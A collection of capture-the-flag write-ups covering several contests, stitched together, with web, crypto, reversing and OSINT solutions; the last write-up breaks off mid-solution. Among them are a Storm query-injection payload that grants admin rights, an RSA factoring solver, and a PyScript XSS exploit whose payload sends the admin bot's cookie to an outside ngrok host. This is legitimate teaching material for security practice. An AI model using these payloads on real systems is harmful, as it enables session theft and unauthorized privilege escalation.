漏洞点就出在 lookup 功能中,以 _lookup_sha512 为例。```pyasync def _lookup_sha512(h) -> bool: return await current_app.cortex.count(f"hash:sha512={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0```站点正常查询时,用户需要提供一个 128 位的字符串,但此处的用户输入 h 似乎是直接拼接到 `f"hash:sha512={h}"` 中,细心一些也能发现,其他地方都是使用 r 字符串加占位符的形式执行 storm 语句,但是这里使用的是 f 字符串。
这里的 payload 如下, 我的用户名为 user2,前方的 # 直接可以使得 sha512 不报错的情况下顺利执行后方为 user2 添加 role.admin 标签的代码。需要保证总长度为 128 位,因此我使用了垃圾字符进行填充。```sql#1 -> #aaa11111111111111111111111111111111111111111111111111111111111111111111|[ auth:creds=(thunderstruck,user2) +#role.admin ]```获得 admin 权限之后就可以访问 /admin

根据页面中的提示,可以定位 flag 存放在 cortex 中,而且可以通过 it:dev:str 查询到。
但 lookup 页面无法回显,通过阅读 admin.html 模板文件发现,其实这个提示来自于 ingest_code 变量.

而 ingest_code 又来自于 summary 。```pyingest_ts, ingest_code = await current_app.cortex.callStorm(r"meta:event#ingest | max .created | return((.created, :summary))", opts={"view": await current_user.view})counts = await current_app.cortex.callStorm(r"return($lib.view.get().getFormCounts())")```
在 init_cortex.storm 其实是对这个 summary 进行赋值了的。summary 的全路径为 meta:event:summary
```s[meta:event=* :title="ingest-20230202" :summary="<REDACTED>"]```
这样的话,我们就可以通过替换 meta:event:summary 的内容为 flag 的内容来达到显示的目的。
payload 如下,通过声明一个变量来进行赋值。
```sql#1 -> #aaa11111111111111111111111111111111111111111111111111111111111111111111111| $org={ it:dev:str } meta:event[:summary=$org]```
最后界面上就会将 flag 打印出来。下面是用 chatGPT 生成的流程图(nice job!!)。
```mermaidsequenceDiagram participant User participant Index_Page as Index Page participant Register_Page as Register Page participant Login_Page as Login Page participant Lookup_Page as Lookup Page participant Admin_Page as Admin Page participant Cortex_DB as Cortex Database
User->>Index_Page: Access Index Page User->>Register_Page: Register User->>Login_Page: Login User->>Lookup_Page: Perform Lookup Lookup_Page->>Cortex_DB: Query Cortex Database Cortex_DB->>Lookup_Page: Return Query Result
Note over User,Lookup_Page: Send Payload 1 User->>Lookup_Page: #1 -> #aaa...|[ auth:creds=(thunderstruck,user2) +#role.admin ] Lookup_Page->>Cortex_DB: Execute Payload 1 Cortex_DB->>Lookup_Page: Update User Role
User->>Admin_Page: Access Admin Page (with admin privileges) # Admin_Page->>Cortex_DB: Query Cortex Database for Flag # Cortex_DB->>Admin_Page: Return Flag
Note over User,Lookup_Page: Send Payload 2 User->>Lookup_Page: #1 -> #aaa...| $org={ it:dev:str } meta:event[:summary=$org] Lookup_Page->>Cortex_DB: Execute Payload 2 Cortex_DB->>Lookup_Page: Update Event Summary
Admin_Page->>User: Display Flag
```
[original writeup](https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#thunderstruck) (https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#thunderstruck) |
### **Title:** crypto/guess-the-bit!
**Hint:** Count 6 power.
**Solution:**\From the code, we can see that c is multiplied with 6 only when bit is set.\So, if we find 6 power in c as odd we can conclude the guess bit as set else not.
As we have to iterate over 150 times guessing our guess bit, a pwntools script like in here will help.
**Exploit:** ./loop.py
**Flag:** lactf{sm4ll_plalnt3xt_sp4ac3s_ar3n't_al4ways_e4sy} |
```import cv2
def compare_frames(original_frame, modified_frame, threshold=int(input("Set Threshold Value (The recommended value is 10): "))): original_gray = cv2.cvtColor(original_frame, cv2.COLOR_BGR2GRAY) modified_gray = cv2.cvtColor(modified_frame, cv2.COLOR_BGR2GRAY)
# Kareler arasındaki farkı bul frame_diff = cv2.absdiff(original_gray, modified_gray)
mean_diff = cv2.mean(frame_diff)[0]
if mean_diff > threshold: return True else: return False
def save_frame(frame, frame_number): cv2.imwrite("img_{}.jpg".format(frame_number),frame)k=0original_video = cv2.VideoCapture(input("Set First Video Name With .mp4. e.g.:'video.mp4': "))modified_video = cv2.VideoCapture(input("Set Second Video Name With .mp4 e.g.:'video2.mp4': "))frame_number = 0
while True: original_ret, original_frame = original_video.read() modified_ret, modified_frame = modified_video.read()
if not original_ret or not modified_ret: break
if compare_frames(original_frame, modified_frame): save_frame(modified_frame, frame_number) else: k+=1 print("Same Frame! Frame Number: "+str(k),end="\r")
frame_number += 1
original_video.release()modified_video.release()```
This script finds frame differences between 2 similar videos. Useful for CTFs and edited videos.I made it for IrisCTF2023irisctf{g4rfield_is_a_c4t_wh0_s4ys_funny_th1ng5} |
# url-stored-notes
## Background
> Author: M1ll_0n
Ever seen that neat [paste program by topaz](https://github.com/topaz/paste) for advent of code? Yeah, well this is like 100% better and more secure since it's for note card sharing.
Admin bot at /admin
[http://url-stored-notes.chals.damctf.xyz](http://url-stored-notes.chals.damctf.xyz)
[http://64.227.26.193](http://64.227.26.193)

## Enumeration
**Home page:**

In here, we can see there's a button: "Edit Notes".
**"Edit Notes":**

In here, we can "Add empty note", and "Shares Notes".
**"Add empty note":**

We can add some notes based on the selected HTML element?
**"Shares Notes":**

When the "Shares Notes" button is clicked, it'll generate a share link:

**In the `/admin` route, we can enter a URL to admin:**

That being said, this challenge is a typical ***XSS*** challenge.
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/DamCTF-2023/web/url-stored-notes/url-notes.zip):**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|15:09:56(HKT)]└> file url-notes.zip url-notes.zip: Zip archive data, at least v2.0 to extract, compression method=deflate┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|15:09:59(HKT)]└> unzip url-notes.zip Archive: url-notes.zip inflating: .puppeteerrc.cjs inflating: bot.js inflating: server.js inflating: package-lock.json inflating: package.json inflating: Dockerfile inflating: .env inflating: static/admin.html inflating: static/edit.html inflating: static/index.html inflating: static/style.css```
**In `bot.js`, we can see how the admin bot will visit our entered URL:**```js// cookie code ripped from ucla's admin bot: https://github.com/uclaacm/lactf-archivemodule.exports = async (browser, url) => { ctx = await (await browser).createIncognitoBrowserContext(); const page = await ctx.newPage(); page.setCookie({ name: "flag", value: process.env.FLAG || "dam{test_flag_not_real_flag_do_not_submit_this_flag}", domain: process.env.DOMAIN || "localhost:8080", httpOnly: false, }) console.log("[*] Navigating to: ", url); await page.setJavaScriptEnabled(true); // Debug line below ;P // await page.on('console', message => console.log(`${message.type().substr(0, 3).toUpperCase()} ${message.text()}`)) await page.goto(url, {waitUntil: "domcontentloaded"}); await page.waitForNetworkIdle({idleTime: 250}); await page.waitForSelector("#python"); await page.waitForTimeout(35000); console.log("[*] Page loaded"); await page.close(); await ctx.close(); console.log("[*] successfully visited url: ", url)}```
The flag is in the `flag` cookie, and **the `httpOnly` attribute is set to `false`**, which means we can use `document.cookie` API to fetch flag's cookie value!
When we sent our URL to the admin bot, it'll go to our provided URL and **enable JavaScript**.
With that said, our goal is to ***leverage an XSS vulnerability to steal admin bot's `flag` cookie***.
**In `server.js`, we see this:**```js[...]app.get("/edit", (req, res) => { res.sendFile(path.join(__dirname, "static", "edit.html"))})[...]```
Hmm... It just send the `/static/edit.html`.
**`edit.html`:**```html[...]<script id="js">const SUPPORTED_TAGS = ['p', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'i', 'code'];
function createNoteElement(prompt, answer, tag){
const noteElement = document.createElement("div"); noteElement.classList.add("note"); const textElement = document.createElement("div"); textElement.classList.add("text"); const promptElement = document.createElement('textarea'); const answerElement = document.createElement('textarea');
tagElement = document.createElement('select'); for (let i = 0; i < SUPPORTED_TAGS.length; i++) { tagElement.innerHTML += `<option value="${SUPPORTED_TAGS[i]}">${SUPPORTED_TAGS[i]}</option>`; } noteElement.append(tagElement); noteElement.appendChild(textElement);
const promptLabel = document.createElement('h4'); promptLabel.textContent = "Prompt:"; textElement.appendChild(promptLabel); textElement.appendChild(promptElement); const answerLabel = document.createElement('h4'); answerLabel.textContent = "Answer:"; textElement.appendChild(answerLabel);
textElement.appendChild(answerElement);
promptElement.textContent = prompt; answerElement.textContent = answer;
document.getElementById("notes").appendChild(noteElement); return;}
// Auto-reload content[...]</script>```
**This function `createNoteElement()` is just creating the following `<div>` block when the "Add empty notes" button is clicked:**

Nothing weird and we can't control anything.
**Then, let's look at the auto-reload content:**```html<script id="js">[...]// Auto-reload contentwindow.onload = () => { const python_code = document.getElementById('python').innerHTML; window.onhashchange = () => { // probably not the right way to do this but I don't care ? pyscript.runtime.run(python_code.replace('>', ">")); }
// share functionality document.getElementById('share').addEventListener('click', () => { // run the python function const data = [];
// basically iterate through all html elements const notes = document.getElementById("notes").children; for (let i = 0; i < notes.length; i++){ let tag = notes[i].children[0].value; let prompt = notes[i].children[1].children[1].value; let answer = notes[i].children[1].children[3].value; data.push({"prompt": prompt, "answer": answer, "tag": tag}); }
// access pyscript functions let encodeNotes = pyscript.interpreter.globals.get('encodeNotes'); const result = encodeNotes(JSON.stringify(data)).decode();
// update DOM const linkElement = document.getElementById('link'); linkElement.innerHTML = ''; const title = document.createElement('h3'); title.textContent = 'Generated Link:'; linkElement.appendChild(title); const anchor = document.createElement('a'); const linkText = window.location.origin + '/#' + result; anchor.href = linkText; // anchor.target = "_blank"; linkElement.appendChild(anchor); const pre = document.createElement('pre'); pre.textContent = linkText; anchor.appendChild(pre); })
document.getElementById('add').addEventListener('click', () => { createNoteElement("", "", ""); })}</script>```
When the "Shares Notes" button is clicked, it'll create a link, which is the encoded notes.
**However, it's also using an interesting library:**```html<script defer src="https://pyscript.net/latest/pyscript.js"></script>```
> PyScript is a framework that allows users to create rich Python applications in the browser using HTML's interface and the power of [Pyodide](https://pyodide.org/en/stable/), [WASM](https://webassembly.org/), and modern web technologies. The PyScript framework provides users at every experience level with access to an expressive, easy-to-learn programming language with countless applications.
**Let's look at the Python code!**```html<py-config>packages = ["lzma"]</py-config><py-script id="python">import jsfrom base64 import b64encode, b64decodefrom lzma import compress, decompressimport jsonfrom pyscript import Element
def encodeNotes(json_str): return b64encode(compress(json_str.encode()))
encodedNotes = js.window.location.hash[1:]notes = {}try: encoded_notes = encodedNotes.encode() decoded_notes = decompress(b64decode(encoded_notes)) notes = json.loads(decoded_notes.decode('utf-8'))except: notes = {}
# Dynamically load contentjs.document.getElementById('notes').innerHTML=''for note in notes: if 'prompt' in note and 'answer' in note and "tag" in note: js.createNoteElement(note['prompt'], note['answer'], note['tag'])
</py-script>```
This script will use LZMA to compress the JSON notes data, and base64 encode it.
**After decoded, the `notes` will have the following JSON data:**```pyfrom base64 import b64encode, b64decodefrom lzma import compress, decompressimport json
encodedNotes = '/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4ABQAC9dAC2ewEcDz40ozKl1G8HkuqYL6+m3lSJz3+NggH04+s9UGc44BIOSAMIVM3yCKMIAAACoOqUjG/GuPgABS1GHQmcvH7bzfQEAAAAABFla'notes = {}
encoded_notes = encodedNotes.encode()decoded_notes = decompress(b64decode(encoded_notes))print(decoded_notes)
notes = json.loads(decoded_notes.decode('utf-8'))print(notes)```
```py"prompt":"test","answer":"test","tag":"p"},{"prompt":"","answer":"","tag":"p"}]'[{'prompt': 'test', 'answer': 'test', 'tag': 'p'}, {'prompt': '', 'answer': '', 'tag': 'p'}]```
**Now, let's move on to the `/index.html`!**```html[...]<script id="js">
function createNoteElement(prompt, answer, tag){ // secure, as always if (tag.toLowerCase() === 'script'){ tag = 'p' }
const noteElement = document.createElement("div"); noteElement.classList.add("note"); const textElement = document.createElement("div"); textElement.classList.add("text"); const promptElement = document.createElement(tag); const answerElement = document.createElement(tag); answerElement.style.display = "none"; textElement.addEventListener("click", () => { if (promptElement.style.display === "none"){ promptElement.style.display = ""; answerElement.style.display = "none"; } else { promptElement.style.display = "none"; answerElement.style.display = ""; } });
noteElement.appendChild(textElement); textElement.appendChild(promptElement); textElement.appendChild(answerElement);
promptElement.textContent = prompt; answerElement.textContent = answer;
document.getElementById("notes").appendChild(noteElement); return;}
// Auto-reload contentwindow.onload = () => { const python_code = document.getElementById('python').innerHTML; window.onhashchange = () => { // probably not the right way to do this but I don't care ? pyscript.runtime.run(python_code.replace('>', ">")) }}</script><div id="notes"></div><py-config>packages = ["lzma"]</py-config><py-script id="python">import jsfrom base64 import b64encode, b64decodefrom lzma import compress, decompressimport jsonfrom pyscript import Element
encodedNotes = js.window.location.hash[1:]notes = {}try: encoded_notes = encodedNotes.encode() decoded_notes = decompress(b64decode(encoded_notes)) notes = json.loads(decoded_notes.decode('utf-8'))except: notes = {}
# Dynamically load contentjs.document.getElementById('notes').innerHTML=''for note in notes: if 'prompt' in note and 'answer' in note and "tag" in note: js.createNoteElement(note['prompt'], note['answer'], note['tag'])
</py-script>[...]```
If there's a note, it'll run JavaScript function `createNoteElement()`, with our notes' `prompt`, `answer`, and `tag`.
In JavaScript function `createNoteElement()`, ***if the `tag` is `script`, change the tag to `p`.*** Then, it'll create 2 elements based on the `tag`, and append the `prompt` and `answer` via `textContent`.
Also, when the hash `#` is changed, it'll replace `>` to `>` HTML entity.
Armed with above information, we can try to exploit it!
## Exploitation
**Now, we can get the before encoded JSON data via:**```jsconst data = [];
// basically iterate through all html elementsconst notes = document.getElementById("notes").children;for (let i = 0; i < notes.length; i++){ let tag = notes[i].children[0].value; let prompt = notes[i].children[1].children[1].value; let answer = notes[i].children[1].children[3].value; data.push({"prompt": prompt, "answer": answer, "tag": tag});}
const result = JSON.stringify(data);console.log(result);```

**Before encoded JSON note:**```py[{'prompt': '', 'answer': '', 'tag': 'p'}]```
Since **the application doesn't check the `tag`'s value, we can create arbitrary element!**
**To do so, we can write a Python script to generate the encoded note!**```py#!/usr/bin/env python3from base64 import b64encode, b64decodefrom lzma import compress, decompressimport json
def decodeNotes(encodedNotes): notes = {} try: encoded_notes = encodedNotes.encode() decoded_notes = decompress(b64decode(encoded_notes)) notes = json.loads(decoded_notes.decode('utf-8')) except: notes = {}
return notes
def encodeNotes(json_str): return b64encode(compress(json_str.encode())).decode()
def main(): # [{'prompt': '', 'answer': '', 'tag': 'p'}] notes = '[{\"prompt\":\"test prompt\",\"answer\":\"test answer\",\"tag\":\"h1\"}]' encodedNotes = encodeNotes(notes) print(f'Before encoded: {notes}') print(f'After encoded: {encodedNotes}')
decodedNotes = decodeNotes(encodedNotes) print(f'After decoded: {decodedNotes}')
if __name__ == '__main__': main()```
```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|16:35:44(HKT)]└> python3 encode_notes.pyBefore encoded: [{"prompt":"test prompt","answer":"test answer","tag":"h1"}]After encoded: /Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4AA7AC1dAC2ewEcDz40ozKl1G8HkuqYEVXp/fqrqSKgjoURem6G3dq12ZoA27glAkxnvAAAAAABqZKdXfv6FhgABSTzgPVIuH7bzfQEAAAAABFlaAfter decoded: [{'prompt': 'test prompt', 'answer': 'test answer', 'tag': 'h1'}]```
**Then, go to the index page with the encoded note:**

Nice!
But how can we execute arbitrary JavaScript code?? The `script` check seems like couldn't be bypassed!
Hmm! There's another `script` we can take advantage of!
***You guessed! `py-script`!***
**Now, what if we change the `tag` to `py-script`??**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|16:46:30(HKT)]└> python3 encode_notes.pyBefore encoded: [{"prompt":"test prompt","answer":"test answer","tag":"py-script"}]After encoded: /Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4ABCADNdAC2ewEcDz40ozKl1G8HkuqYEVXp/fqrqSKgjoURem6G3dq12ZoChc94EqR0FEqvHJHupAAAA1AswOjfmCFYAAU9Dy/ayuB+2830BAAAAAARZWg==After decoded: [{'prompt': 'test prompt', 'answer': 'test answer', 'tag': 'py-script'}]```

Oh! We got a `SyntaxError`!!
**Which means we can execute Python code!**```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|16:47:48(HKT)]└> python3 encode_notes.pyBefore encoded: [{"prompt":"print(1+1)","answer":"print(2+2)","tag":"py-script"}]After encoded: /Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4ABAADhdAC2ewEcDz40ozKl1G/3hGL/iB3KJyodN5MOl49OPAcw22Fx3Jn+rJO+NVYAEZn4WYPkXJKMw7WQAAMmgaOFLj01TAAFUQX1civ8ftvN9AQAAAAAEWVo=After decoded: [{'prompt': 'print(1+1)', 'answer': 'print(2+2)', 'tag': 'py-script'}]```

Nice!!!
**Can we execute JavaScript code??**
**After some trial and error, we can import the `js` library and execute JavaScript code!!**```py notes = '''[{\"prompt\":\"import js;print(js.alert(document.domain))\",\"answer\":\"print(2+2)\",\"tag\":\"py-script\"}]'''```
**The reason I pick the `js` library is I saw that library executing JavaScript code in `index.html`:**```html<py-script id="python">import js [...] js.createNoteElement(note['prompt'], note['answer'], note['tag'])</py-script>```
```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|17:12:32(HKT)]└> python3 encode_notes.pyBefore encoded: [{"prompt":"import js;print(js.alert(document.domain))","answer":"print(2+2)","tag":"py-script"}]After encoded: /Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4ABgAFhdAC2ewEcDz40ozKl1G8Hi7NGQkjZaYHM2dmMBzBphloFBW+N1QbCCK6FSx07eGLl5DJ/gWJK17vQsRy+t556giyKCwChZU/DRBVebTHpT+3PulRjt0mh8lgAAk8cicCjHaVIAAXRhF1hgUR+2830BAAAAAARZWg==After decoded: [{'prompt': 'import js;print(js.alert(document.domain))', 'answer': 'print(2+2)', 'tag': 'py-script'}]```

Yes!!
**Let's get the admin's flag's cookie!!**
- Setup a web server:
```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|17:03:10(HKT)]└> python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...```
Since we're not connecting to the challenge's network, we need to do a port fowarding, so that the admin bot can reach our web server.
- Port forwarding:
```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|17:13:14(HKT)]└> ngrok http 8000[...]Forwarding https://4726-{Redacted}.ngrok-free.app -> http://localhost:8000```
**Payload:**```py notes = '''[{\"prompt\":\"import js;print(js.fetch('https://4726-{Redacted}.ngrok-free.app/?c=' + document.cookie))\",\"answer\":\"print(2+2)\",\"tag\":\"py-script\"}]'''```
```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|17:15:34(HKT)]└> python3 encode_notes.pyBefore encoded: [{"prompt":"import js;print(js.fetch('https://4726-{Redacted}.ngrok-free.app/?c=' + document.cookie))","answer":"print(2+2)","tag":"py-script"}]After encoded: /Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4ACPAIRdAC2ewEcDz40ozKl1G8Hi7NGQkjZaYHM2dmMBzBphloFBYPBoOI/l8wzUcb0SUKwpyR7GQL0iy1XsO0cLi8KJ5xVbQxwhnGL90msB8xdPvTD/zN0NUkzbO3hUSuvxmAvpAONkOKQbWEAPyu76qHRlzwp2PEgtf6Zz4UIC7vqCs1PAIdFgAAB8pYqWMYhDzQABoAGQAQAAEGerW7HEZ/sCAAAAAARZWg==After decoded: [{'prompt': "import js;print(js.fetch('https://4726-{Redacted}.ngrok-free.app/?c=' + document.cookie))", 'answer': 'print(2+2)', 'tag': 'py-script'}]```
This payload will send a GET request to our ngrok port forwarding address, with parameter `c` and it's value is all cookies.
**Send the encoded note URL to admin bot:**```http://url-stored-notes.chals.damctf.xyz/#/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4ACPAIRdAC2ewEcDz40ozKl1G8Hi7NGQkjZaYHM2dmMBzBphloFBYPBoOI/l8wzUcb0SUKwpyR7GQL0iy1XsO0cLi8KJ5xVbQxwhnGL90msB8xdPvTD/zN0NUkzbO3hUSuvxmAvpAONkOKQbWEAPyu76qHRlzwp2PEgtf6Zz4UIC7vqCs1PAIdFgAAB8pYqWMYhDzQABoAGQAQAAEGerW7HEZ/sCAAAAAARZWg==```

```shell┌[siunam♥earth]-(~/ctf/DamCTF-2023/web/url-stored-notes)-[2023.04.08|17:03:10(HKT)]└> python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...127.0.0.1 - - [08/Apr/2023 17:18:03] "GET /?c=flag=dam{waaatttt_t3xtc0nt3nt_n0t_always___s3cur3_bruuuhhhhhhh} HTTP/1.1" 200 -```
Nice!! We steal the admin bot's flag cookie!
- **Flag: `dam{waaatttt_t3xtc0nt3nt_n0t_always___s3cur3_bruuuhhhhhhh}`**
## Conclusion
What we've learned:
1. PyScript XSS |
# The Path to Victory ## CategoryWeb ## Points50## DescriptionA elite team of marine biologists have been working to genetically modify mantis shrimp into the ultimate killing machines. Your mission is to exploit vulnerabilities in the enemies website and retrieve session keys (the flag) in order to help bring the organization down. http://18.216.238.24:1003/## SolutionChange the URL from http://18.216.238.24:1003/webpage/files/dir/index.html to http://18.216.238.24:1003/webpage/ where a index of files is listed. Navigate into session_keys.txt to retrieve the flag.## Flagtexsaw{Th3_B3s7_Cru574c34n} |
1. Go to Twitter and search by a given name "Fr1end James".2. Look at the result.3. See the name of the project Endsem_Last_Minute-Project.4. Look for the project on github, gitlab.5. No results on gitlab, but there is such a project on Github.6. Check the files in the project - nothing.7. Check the history of commits.8. In the following commit we see the flag.Click the link for the commit.
Flag: VishwaCTF{LbjtQY_449yfcD}. |
Use docker forensics to extract a judge script that generates and compiles a key checker binary, then write a javascript keygen that analyses the key checker source to calculate a valid key. |
ERROR: type should be string, got "https://gist.github.com/gynvael/755f138ec4c6e656d2614b5749271f14 (writeup + emulator code)\n## Notes on Infiltration (JerseyCTF III '23)\n```A rogue AI has infiltrated a game server's custom VM run on PPC and its code is now traversing the user base. The developers have decompiled and given the current executing script the memory it was accessing at the time and opcode documentation. You are tasked with investigating the nature of this threat.```\nYou were given three files:\n * `opcodes.md` with an incomplete description of opcodes * `ctf.xsa` with assembly (as in: text) for some architecture * `memory.bin` with 4KB of binary data (high entropy apart from the header)\nApart from that the somewhat useful hint was who made the challenge (Native Function), as they had a lot of \"RAGE VM\" related repos/tools on their github.\n * https://github.com/NativeFunction\nSo yeah, this challenge was about the Rockstar Advanced Game Engine aka RAGE (which I've learnt a few hours into the challenge), or rather its scripting language. Or rather its assembly form in a dialect made by folks that made the RASM (dis)assembler. Actually the fact that it was a dialect made it a bit more difficult to Google for it, which made the whole challenge more confusing to solve.\nEventually the approach I took was to start implementing the assembly parser + emulator based on the instruction documentation for the actual instructions used only. And by that I mean I told GPT-4 to implement what it could and then started fixing that by analyzing the provided documentation and the actual code.\nGPT-4 was actually also useful to translate the assembly code into Python based on documentation. It wasn't correct, but it gave me a decent idea what I was dealing with.\nIn the end there were 4 steps to this challenge:\n 1. Load the header (4 big-endian ints: magic, data size, list start and initial key) and check some values. 2. Decrypt the memory and iterate the key (`decrypt` function). 3. Walk through the linked list and gather 5 ints (`set` function). 4. \"Decrypt\" these 5 ints and print them together in ASCII as the flag.\nI got my emulator to do points 1 and 2, and then switched to re-writing the assembly code to Python since I understood it enough at that point.\nSo here's the Python code step 2:\n```pyimport structimport sysimport os\ndef decrypt_2(sz, key): local_2 = 0 local_3 = 0 local_4 = 0 local_5 = 0\n while local_4 < (sz - 16) // 4: #print(hex(local_4*4 + 16), hex(key))\n static_0[4 + local_4] ^= key\n key = key * 2 key &= 0xffffffff if key == 0: key = local_4 % 15 + 1\n local_4 += 1\n print(\"final key:\", hex(key))\ndef dumpstatic(): global static_0 with open(\"dump_plain.static_0\", \"wb\") as f: #for i in static_0: #print(i) # f.write(struct.pack(\">I\", i)) f.write(struct.pack(f\">{len(static_0)}I\", *static_0))\ndef main(): with open(\"memory.bin\", \"rb\") as f: d = f.read()\n global static_0 static_0 = list(struct.unpack(f\">{len(d)//4}I\", d))\n decrypt_2(0x4000, static_0[3]) dumpstatic()\nmain()```\nAnd here's the code for step 3 and 4:\n```pyimport sysimport structimport os\nwith open(\"step2.bin\", \"rb\") as f: d = f.read()\nstart = 0x1830 # This is the list start from the header.\n# This is the loop in main + (set) function translated to Python:off = startvalues = []for i in range(5): v_ptr, next = struct.unpack(\">II\", d[off:off+8]) v = struct.unpack(\">I\", d[v_ptr:v_ptr+4])[0] values.append(v) print(hex(v_ptr), hex(v), hex(next)) off = next\nprint(values)\n# And this is the decryption of the values in (main) function.\n\"\"\"GetLocalP 6SetLocal 14GetLocal 5Push 936175996AddSetLocal 15\"\"\"local_5 = 0xf000 # Final key from previous step.local_15 = local_5 + 936175996 # 0x37cce97cprint(\"key\", hex(local_15))\n\"\"\"GetLocal 14DuppGetGetLocal 15XorpPeekSetDrop\nthis has to be jctf 6a637466\"\"\"values[0] = values[0] ^ local_15\n\"\"\"GetLocal 14GetImmP 1DuppGetGetLocal 15XorpPeekSetDropGetLocal 14GetImmP 1DuppGetPush 7536640OrpPeekSetDrop\"\"\"values[1] = (values[1] ^ local_15) | 0x730000\n\"\"\"GetLocal 14GetImmP 2DuppGetGetLocal 15XorpPeekSetDropGetLocal 14\"\"\"values[2] = values[2] ^ local_15\n\"\"\"GetImmP 3DuppGetGetLocal 15XorpPeekSetDropGetLocal 14GetImmP 3DuppGetPush 28416OrpPeekSetDrop\"\"\"values[3] = (values[3] ^ local_15) | 0x6f00\n\"\"\"GetLocal 14GetImmP 4pGetPush -16777216AndPush 8192000OrGetLocal 14GetImmP 4pSetGetLocalP 6\"\"\"values[4] = ((values[4] & 0xff000000) | 0x7d0000)\n# And printing out the values and the flag.o = \"\"for i in range(5): hv = hex(values[i])[2:] print(hv, b''.fromhex(hv)) o += hv\nf = b''.fromhex(o)print(f)print(len(f))\n# b'jctf{stickie_bomb}\\x00\\x00'```\nAll in all I didn't get the emulator fully running mostly because it wasn't clear based on the provided opcode description whether the memory is treated as a list of ints or list of bytes, and apparently some instructions were doing this and some that. After finding the SC-CL source and especially this – https://github.com/NativeFunction/SC-CL/blob/master/bin/include/intrinsics.h – it became a bit clearer to me, but I decided to not rework the emulator, so just did the steps 2-4 in Python.\nAll in all it was a fun challenge, though I probably should have spent some more time initially trying to find out what architecture it was, and maybe find an emulator.\nAnyway, in the end it worked, and after asking the admins to fix the flag in their system ? I got first blood on it! :)\n-- Gynvael" |
Challenge: **Mail**
Category: **Web**
Points: **100**
Description: **With the holiday season approaching, the demand for package delivery is climbing. I've compiled a list of mail couriers for you to view at url:port. Maybe this could be helpful? http://18.216.238.24:2020/**
Solution: **if you analyzed the site with Burp Suite, you could see a /flag.**

**being that the site made a redirect, usually to prevent it you can use the POST method, in this case it was just like this, it was enough to change the request from GET to POST**

flag: **texsaw{GET_it?_They_were_POSTal_services_haha}**
|
The flag is located in the Discord server (in the title of the channel).https://discord.com/channels/757167517520232529/757168245198290954
Flag: VishwaCTF{g3n3r1c_d1sc0rd_fl4g}. |
Just use Fermat's theorem decomposition and you will get the answer:```import gmpy2from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPimport Crypto.Util.number as number
with open("public.pem", "rb") as f: key = RSA.import_key(f.read())
public_key = key.publickey()
def fermat(n): a = gmpy2.isqrt(n) + 1 b = a**2 - n while not gmpy2.iroot(b, 2)[1]: a += 1 b = a**2 - n b = gmpy2.iroot(b, 2)[0] return (a + b, a - b)
# p, q = fermat(public_key.n)
q = 4035344634524837717521915201305975516098722420219128355538063452416706649582040976771180219125686195204822338707859330665951615120601874544633270967788027074091717031306682541328304029835373501410605229741692482939694335870993275374022062842280710959945654503477963936519342817858077479358738644573785487521029281727169737762573882938206926732178158574479009658125467551018805835614097299871918962876012823726564585700892649184624360581540320684057939677927710690697605112273648424114803479675168145732275761455167827091548475299338153944131864072448859112796081669111927011416022032734279963320442672954117725635057p = 4035344634524837717521915201305975516098722420219128355538063452416706649582040976771180219125686195204822338707859330665951615120601874544633270967788027074091717031306682541328304029835373501410605229741692482939694335870993275374022062842280710959945654503477963936519342817858077479358738644573785487521032731949949672190534185116624273887980672650136436463485817603675820435108916629224182933010010760147581441906729024860231015150938247223056724681089282171956429028890246653926215568565285817362035961064914955470989239448342478747578795441253265938399505855471220563759562310196608723984550303265351501013993e = 7# Calculate n and d, where n is the RSA modulus and d is the private key indexn = p * qphi = (p - 1) * (q - 1)d = pow(e, -1, phi) # Using the pow function to calculate the inverse of e
#Generate RSA key pairs
key_pair = RSA.construct((n, e, d, p, q))
# Using RSA to decrypt ciphertextcipher_rsa = PKCS1_OAEP.new(key_pair)with open("key_gen_flag.bin", "rb") as f: cipher_text = f.read()
decrypted_text = cipher_rsa.decrypt(cipher_text)print(decrypted_text)``` |
# Challange Name : lets-go
## Category: OSINT
## Description:
Okay, so something was definitely wrong with our calculations.We're still trying to get them fixed, but hey, we're getting closer!At least I can catch a good punk rock show still.Flag format: jctf{whattheywrote}, lowercase, omit any spaces.File attachedDeveloped by Cyb3rSw0rd
## File Name : AnnaCircohsLog2.txt
### File Content:
//--//--//--//--//--//
Estimated Date: August 16, 1974
Log: Still Rocking
Status update - The supplies we got helped me make a few more adjustments.Unfortunately, it only took me 40 more years backwards, and still not near Grace Hopper.
Fortunately, if my memory is correct, I can basically get a private concert with my favorite quartet.
Last time I was here was 9 months ago local space-time, before all of the programs began acting up! I wonder if they paved over what HK and I drew in the concrete when they opened up?
//--//--//--//--//--//
## Solution:
This is my first ever writeup so bear with me.
Started by searching quartet on google as I didn't know what that means. Found Wikipedia page for famous quartet. Dead End.
Then, I looked at estimated date and searched "august 16, 1974 rock concert" on google and the first reasult was about Ramones,a punk-rock band,at CBGB bar.
